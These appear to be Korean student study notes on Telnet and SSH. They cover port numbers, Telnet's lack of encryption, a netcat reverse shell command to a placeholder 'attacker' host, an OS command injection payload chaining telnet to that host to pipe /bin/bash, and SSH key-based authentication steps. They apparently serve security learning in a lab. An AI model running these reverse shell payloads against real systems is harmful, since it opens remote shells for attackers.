: 가상 터미널 서비스를 위한 표준 TCP/IP 프로토콜 / 23번 포트
로컬 시스템 처럼 나타나는 방식으로 원격 시스템에 대한 연결 설정 가능
원격 장치의 IP 주소나 호스트 이름으로 텔넷을 통해 장치에 액세스하는데 도움이 됨
사용자는 원격 컴퓨터의 모든 응용 프로그램에 액세스 가능
인증 정책 및 데이터 암호화 기술이 사용되지 않아 보안에 큰 위협이 됨
< 공격자에게 원격으로 쉘을 열어주는 공격>
nc attacker 8282 -e /bin/bash
: netcat을 사용하여 특정호스트 (attacker)의 8282번 포트로 연결하고 연결 성공 시 /bin/bash 쉘 실행
1) nc
: netcat( 네트워크 통신 수행 도구, 데이터를 읽고 쓸수 있게 해주는 유틸리티) 실행 명령어
2) attacker
: 연결하려는 호스트의 이름
3) -e /bin/bash
: 연결이 성공하면 지정된 명령어나 쉘을 실행하는 옵션
< Telnet Reverse Connection>
: 특정 웹사이트에 대한 텔넷 연결을 통해 쉘을 실행하는 명령어 시퀀스
Kali 가상 머신에 두개의 터미널을 열어서 서비스 실행
1) nc -l -p 8282
2) nc -l -p 9292
kali 가상 머신에 OS Command Injection 취약점을 가진 페이지에 아래 명령어를 전달 실행
www.nsa.gov | sleep 1000 | telnet attacker 8282 | /bin/bash | telnet attacker 9292
1) www.nsa.gov
: 텔넷 연결을 시도할 웹사이트의 도메인 이름이 뜨는 IP 주소
2) sleep 1000
: 1000초 동안 실행을 시연시키는 명령어
3) telnet attacker 8282
: 'attacker' 라는 호스트 8282번 포트로 텔넷 연결 시도
4) /bin/bash
: 텔넷 연결이 성공하면 공격자 시스템에서 /bin/bash 쉘 실행
5) telnet attacker 9292
: 새로운 텔넷 연결 시도 / attacker 시스템의 9292번 포트로 연결 시도
: 네트워크를 통해 다른 컴퓨터에 로그인하여 원격 시스템에서 명령을 실행 / 22번 포트
<강점>
<작동원리 핵심>
서버 인증 및 세션 키 생성
: 접속하려는 서버가 올바른 서버인지 검증하고 이후의 데이터 통신을 안전하게 진행하기 위한 세션 키 생성
1) 접속 요청을 받은 서버는 클라이언트에게 자신의 공개키 전송
2) 최초 접속 시 서버로부터 전달 받은 공개키를 로컬에 저장할 것인지 요청
3) 동의하면 해당 공개키가 접속 요청을 할 때마다 서버로부터 전달 받은 공개키가 로컬에 저장되어있는 공개키와 같은 것 인지 검증하게 되며, 같다면 올바른 서버로 판단
4) 이후로부터는 해당 서버에 접속 요청을 할 때마다 서버로부터 전달받은 공개키가 로컬에 저장되어 있는 공개키와 같은 것인지 검증하게 되며 같다면 올바른 서버로 판단
5) 이 과정에서 데이터 통신 시 암호화 및 복호화를 위해 사용될 대칭키(=세션키)가 생성
클라이언트 인증
: 클라이언트가 해당 서버에 대한 올바른 접근 권한을 가지고 있는지 검증하는 과정
1) Password 인증
: 보안상 취약하여 권장되지 않는 방식
2) SSH 공개키 인증 (권장)
(1) 클라이언트 측에서 Key Pair을 생성하고 서버에 공개키를 전송함
(2) 클라이언트는 해당 서버에 접속하기 위해 사용할 Key Pair ID를 서버에 전송
(3) 서버는 해당 ID에 매칭되는 공개키가 홈 디렉토리의 .ssh/authorized_keys
파일안에 작성 되어 있는지 검색
(4) 존재 시 난수값을 생성하고 이를 해당 공개키로 암호화하여 클라이언트에 전송
(5) 클라이언트는 전달받은 암호화된 난수 값을 해당 개인키로 복호화
(6) 이후 복호화한 난수 값을 이용하여 MD5 해시값을 계산하고 이를 다시 서버에 전송
(7) 서버도 생성했던 난수 값을 이용하여 MD5 해시값을 계싼하고 클라이언트로부터 받은 값과 같은지 검사
(8) 같다면 올바른 클라이언트 임이 인증되어 본격적인 데이터 통신 가능
< SSH 데이터 통신 과정 >
접속 시 생성한 대칭키(= 세션키)를 이용하여 서로 데이터를 주고 받으며 통신
보낼때는 대칭키로 암호화하고 받을 때는 대칭키로 복호화
통신 종료 시(=SSH 세션이 종료되면) 해당 대칭키는 폐기되며 다시 접속 할 때마다 새로운 대칭키가 생성되어 통신에 사용